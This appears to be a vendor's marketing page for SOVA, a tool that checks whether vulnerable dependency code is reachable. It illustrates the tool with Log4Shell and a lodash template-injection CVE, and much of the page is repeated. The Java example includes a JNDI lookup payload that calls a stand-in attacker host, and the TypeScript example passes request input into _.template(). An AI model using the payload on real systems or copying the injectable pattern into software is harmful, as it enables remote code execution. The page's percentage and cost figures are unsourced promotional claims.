SecureNexus — Code Reachability

4-LAYER CODE REACHABILITY ANALYSIS

Determine if vulnerable code is actually reachable in your application. Eliminate false positives. Focus on what matters.

The Problem

YOUR TEAM IS PATCHING CODE THAT DOESN'T MATTER

Traditional vulnerability scanners flag every CVE in your dependency tree. But 70% of those vulnerabilities are in functions your code never calls. SOVA's 4-layer reachability analysis tells you which ones actually matter.

70%+

Vulnerabilities not reachable

Academic research confirms over 70% of vulnerabilities in dependencies are in code paths that are never executed by the application. You're wasting engineering time on phantom threats.

Faster remediation

Teams using reachability analysis fix critical issues 4x faster because they focus on the 30% that actually matters. Less noise, faster response.

$100K+

Annual waste on false positives

The average security team wastes thousands of engineering hours annually patching unreachable vulnerabilities. That's real money spent on zero risk reduction.

Real-World Incident Analysis

critical

Log4Shell Panic

CVE-2021-44228

2021

70%of flagged instances not actually exploitable

Attack Timeline

Nov 24, 2021

discovery

Reported to Apache

Alibaba Cloud security team reports vulnerability

Dec 9, 2021

disclosure

Public disclosure

CVE-2021-44228 assigned, CVSS 10.0

Dec 10, 2021

exploit

Mass scanning begins

Every scanner flags every Log4j instance worldwide

Dec 11-17, 2021

impact

Patch scramble

Teams patch hundreds of services — most were never exploitable

Dec 17, 2021

patch

Log4j 2.17.0 released

Apache releases final patched version

Nov 24, 2021

Reported to Apache

Alibaba Cloud security team reports vulnerability

Dec 9, 2021

Public disclosure

CVE-2021-44228 assigned, CVSS 10.0

Dec 10, 2021

Mass scanning begins

Every scanner flags every Log4j instance worldwide

Dec 11-17, 2021

Patch scramble

Teams patch hundreds of services — most were never exploitable

Dec 17, 2021

Log4j 2.17.0 released

Apache releases final patched version

Attack Flow

Attacker

Sends JNDI lookup string via user input

App A: Web Server

Logs user-agent with Log4j — calls JNDI lookup

JNDI Resolution

Log4j resolves JNDI string, fetches remote class

App B: Batch Job

Uses Log4j for file logging only — no JNDI

Attacker

Sends JNDI lookup string via user input

App A: Web Server

Logs user-agent with Log4j — calls JNDI lookup

JNDI Resolution

Log4j resolves JNDI string, fetches remote class

App B: Batch Job

Uses Log4j for file logging only — no JNDI

Vulnerable Code

Reachability ComparisonJava

1// APP A — REACHABLE (87% confidence)
2// User input flows to Log4j logger
3public void handleRequest(String userAgent) {
4    logger.info("User-Agent: " + userAgent);
5    // Attacker sends: ${jndi:ldap://evil.com/exploit}
6}
7
8// APP B — NOT REACHABLE (13% confidence)
9// Log4j used for internal file logging only
10public void processBatch(List<Record> records) {
11    logger.info("Processing " + records.size() + " records");
12    // No user input reaches this log statement
13}

What Happened

App A is REACHABLE: user-controlled input (userAgent) flows directly into a Log4j log call. App B is NOT REACHABLE: Log4j is used, but only with internal data — no attacker-controlled input reaches the logger. SOVA's 4-layer analysis distinguishes between the two.

How SOVA Prevents This

4-Layer Reachability Analysis

SOVA's ReachabilityEngine eliminates 70% of false positives by tracing actual code execution paths.

Dependency Path

Layer 1: Confirms log4j-core exists in the dependency tree at transitive depth 2

Import Analysis

Layer 2: Scans source files for import/require statements referencing Log4j

AST Analysis

Layer 3: Parses AST to check if JNDI-capable logging methods are called with user input

Call Graph

Layer 4: Traces execution paths from HTTP entry points to vulnerable function calls

Dependency Path

Layer 1: Confirms log4j-core exists in the dependency tree at transitive depth 2

Import Analysis

Layer 2: Scans source files for import/require statements referencing Log4j

AST Analysis

Layer 3: Parses AST to check if JNDI-capable logging methods are called with user input

Call Graph

Layer 4: Traces execution paths from HTTP entry points to vulnerable function calls

How It Works

4-Layer Reachability Pipeline

[email protected]

CVE-2020-8203 — Prototype Pollution

Dependency Path

Is it in the tree?

[email protected] found at depth 3

FOUND

Import Analysis

Is it imported?

import { template } from 'lodash'

IMPORTED

AST Analysis

Is the function called?

template() NOT called in codebase

NOT CALLED

Call Graph

Is it attacker-reachable?

No execution path from entry point

SAFE

NOT REACHABLE

13% confidence — safe to deprioritize

The 4 Layers

FROM DEPENDENCY TREE TO EXECUTION PATH

Layer 1

Dependency Path

"Is [email protected] (CVE-2021-23337) in your dependency tree?"

SOVA parses lock files and build manifests to determine whether the vulnerable component exists anywhere in the transitive dependency tree. Even deeply nested packages are resolved to their exact version.

# Dependency chain for [email protected]

[email protected][email protected][email protected][email protected]

Found in package-lock.json — transitive depth: 3

Layer 2

Import Analysis

"Does your code actually import lodash or require('lodash')?"

Many dependencies exist in the tree but are never directly used by your application. SOVA scans every source file for import statements, require calls, and module references to confirm actual usage.

# Import detected

import { template } from 'lodash'

src/utils/render.ts:14

Named import — "template" function directly referenced

Layer 3

Static Analysis (AST)

"Is the vulnerable function _.template() called?"

SOVA parses the Abstract Syntax Tree to determine whether the specific vulnerable function is actually invoked. It examines function calls, method chains, and class instantiations for granular function-level reachability.

# AST function call detected

25 | const userInput = req.body.template;

26 |

27 | const compiled = template(userInput);

28 | return compiled(data);

src/utils/render.ts:27

template() is the function affected by CVE-2021-23337

Layer 4

Call Graph

"Can an attacker reach template() through the execution flow?"

SOVA builds a complete call graph from application entry points (HTTP handlers, CLI commands, event listeners) and traces every execution path to determine whether an attacker can reach the vulnerable function.

# Execution path traced

HTTP POST /api/renderrenderController()processTemplate()_.template()

REACHABLE via user input — attacker-controlled data flows to _.template()

Confidence Scoring

QUANTIFIED REACHABILITY

Every vulnerability receives a reachability confidence score from 0% to 100%. Each layer that confirms reachability increases the score, giving your team a clear, quantified signal for prioritization.

0 – 25%

Not Reachable

In the dependency tree but never imported. No evidence the package is used in application code. Safe to deprioritize.

26 – 50%

Low Risk

Imported but the vulnerable function is not called. The package is used, but the specific CVE-affected API surface is untouched.

51 – 75%

Medium Risk

Vulnerable function is called but not from user input. Internal usage exists, but no attacker-controlled data flows into the function.

76 – 100%

Confirmed Reachable

Attacker can reach vulnerable code via user input. Full execution path from entry point to vulnerable function confirmed.

Live Example

[email protected]—CVE-2021-23337

Score:87%

CONFIRMED REACHABLE— _.template() is called with user-controlled input from POST /api/render

Real-World Impact

NOISE REDUCTION AT SCALE

70% of CVEs flagged by traditional scanners are NOT reachable in your application. Focus engineering time on the 30% that matter.

70%

Of CVEs flagged by traditional scanners are NOT reachable

30%

Of findings actually matter — focus your team here

Before — Traditional Scanner

HIGH severity CVEs flagged

HIGH

... and 41 more alerts

After — SOVA Reachability Analysis

Reachable — Focus Here

Not Reachable — Deprioritize

REACHABLE

SAFE

What You See

CODE-LEVEL EVIDENCE

Every reachability finding includes the exact source file, line number, and code snippet where the vulnerable function is called. Developers see precisely where the risk lives.

src/utils/render.ts

Vulnerable Function Call

12import { template } from 'lodash';

14export function processTemplate(input: string, data: Record<string, unknown>) {

25 const userInput = req.body.template;

27 const compiled = template(userInput); // CVE-2021-23337: Code injection via template

28 return compiled(data);

29}

Execution Path — Call Chain

Attacker Reachable

HTTP POST /api/render

Entry point — accepts user input via request body

src/routes/api.ts:45

renderController(req, res)

Passes req.body.template to processTemplate()

src/controllers/render.ts:12

processTemplate(input, data)

Receives user-controlled "input" string

src/utils/render.ts:14

_.template(userInput)

VULNERABLE — user-controlled input reaches _.template()

src/utils/render.ts:27

SOVA Finding Summary

Package

[email protected]

CVE

CVE-2021-23337

Reachability Score

87% — Confirmed Reachable

Vulnerable Function

_.template()

Call Site

src/utils/render.ts:27

Entry Point

POST /api/render

Focus on Exploitable Vulnerabilities

Reachability analysis filters out noise so you fix what matters

Start Free Scan View Documentation

Loading SOVA...

YOUR TEAM IS PATCHING CODE THAT DOESN'T MATTER

70%+

Vulnerabilities not reachable

Academic research confirms over 70% of vulnerabilities in dependencies are in code paths that are never executed by the application. You're wasting engineering time on phantom threats.

Faster remediation

Teams using reachability analysis fix critical issues 4x faster because they focus on the 30% that actually matters. Less noise, faster response.

$100K+

Annual waste on false positives

The average security team wastes thousands of engineering hours annually patching unreachable vulnerabilities. That's real money spent on zero risk reduction.

1// APP A — REACHABLE (87% confidence)

2// User input flows to Log4j logger

3public void handleRequest(String userAgent) {

4 logger.info("User-Agent: " + userAgent);

5 // Attacker sends: ${jndi:ldap://evil.com/exploit}

6}

8// APP B — NOT REACHABLE (13% confidence)

9// Log4j used for internal file logging only

10public void processBatch(List<Record> records) {

11 logger.info("Processing " + records.size() + " records");

12 // No user input reaches this log statement

13}

FROM DEPENDENCY TREE TO EXECUTION PATH

Layer 1

Dependency Path

"Is [email protected] (CVE-2021-23337) in your dependency tree?"

# Dependency chain for [email protected]

[email protected][email protected][email protected][email protected]

Found in package-lock.json — transitive depth: 3

Layer 2

Import Analysis

"Does your code actually import lodash or require('lodash')?"

Many dependencies exist in the tree but are never directly used by your application. SOVA scans every source file for import statements, require calls, and module references to confirm actual usage.

# Import detected

import { template } from 'lodash'

src/utils/render.ts:14

Named import — "template" function directly referenced

Layer 3

Static Analysis (AST)

"Is the vulnerable function _.template() called?"

# AST function call detected

25 | const userInput = req.body.template;

26 |

27 | const compiled = template(userInput);

28 | return compiled(data);

src/utils/render.ts:27

template() is the function affected by CVE-2021-23337

Layer 4

Call Graph

"Can an attacker reach template() through the execution flow?"

# Execution path traced

HTTP POST /api/renderrenderController()processTemplate()_.template()

REACHABLE via user input — attacker-controlled data flows to _.template()

QUANTIFIED REACHABILITY

0 – 25%

Not Reachable

In the dependency tree but never imported. No evidence the package is used in application code. Safe to deprioritize.

26 – 50%

Low Risk

Imported but the vulnerable function is not called. The package is used, but the specific CVE-affected API surface is untouched.

51 – 75%

Medium Risk

Vulnerable function is called but not from user input. Internal usage exists, but no attacker-controlled data flows into the function.

76 – 100%

Confirmed Reachable

Attacker can reach vulnerable code via user input. Full execution path from entry point to vulnerable function confirmed.

Live Example

[email protected]—CVE-2021-23337

Score:87%

CONFIRMED REACHABLE— _.template() is called with user-controlled input from POST /api/render

NOISE REDUCTION AT SCALE

70% of CVEs flagged by traditional scanners are NOT reachable in your application. Focus engineering time on the 30% that matter.

70%

Of CVEs flagged by traditional scanners are NOT reachable

30%

Of findings actually matter — focus your team here

Before — Traditional Scanner

HIGH severity CVEs flagged

HIGH

... and 41 more alerts

After — SOVA Reachability Analysis

Reachable — Focus Here

Not Reachable — Deprioritize

REACHABLE

SAFE

CODE-LEVEL EVIDENCE

Every reachability finding includes the exact source file, line number, and code snippet where the vulnerable function is called. Developers see precisely where the risk lives.

src/utils/render.ts

Vulnerable Function Call

12import { template } from 'lodash';

14export function processTemplate(input: string, data: Record<string, unknown>) {

25 const userInput = req.body.template;

27 const compiled = template(userInput); // CVE-2021-23337: Code injection via template

28 return compiled(data);

29}

Execution Path — Call Chain

Attacker Reachable

HTTP POST /api/render

Entry point — accepts user input via request body

src/routes/api.ts:45

renderController(req, res)

Passes req.body.template to processTemplate()

src/controllers/render.ts:12

processTemplate(input, data)

Receives user-controlled "input" string

src/utils/render.ts:14

_.template(userInput)

VULNERABLE — user-controlled input reaches _.template()

src/utils/render.ts:27

SOVA Finding Summary

Package

[email protected]

CVE

CVE-2021-23337

Reachability Score

87% — Confirmed Reachable

Vulnerable Function

_.template()

Call Site

src/utils/render.ts:27

Entry Point

POST /api/render